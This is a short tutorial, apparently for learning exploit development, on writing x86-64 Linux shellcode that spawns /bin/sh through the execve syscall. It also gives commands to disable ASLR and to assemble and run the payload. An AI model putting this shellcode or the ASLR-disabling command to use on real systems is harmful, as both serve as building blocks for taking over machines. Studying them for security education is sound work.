This method was tested on Ubuntu 20.04 LTS 64-bit.

Remember to disable ASLR temporarily echo 0 > /proc/sys/kernel/randomize_va_space


Make a file in assembly nano shellcode.asm and write the following lines (or just copy/paste them)

 section .text
    global _start

_start:

    xor rdx, rdx
    push rdx
    mov rax, 0x68732f2f6e69622f
    push rax
    mov rdi, rsp
    push rdx
    push rdi
    mov rsi, rsp
    xor rax, rax
    mov al, 0x3b
    syscall

Notice that the value written into the RAX register actually is /bin//sh backwards!


We can speed this up by taking a few shortcuts by using the linker command to build us a executable. Finally execute our shell.

nasm -f elf64 shellcode.asm
ld -m elf_x86_64 -s -o shellcode shellcode.o
chmod +x shellcode
./shellcode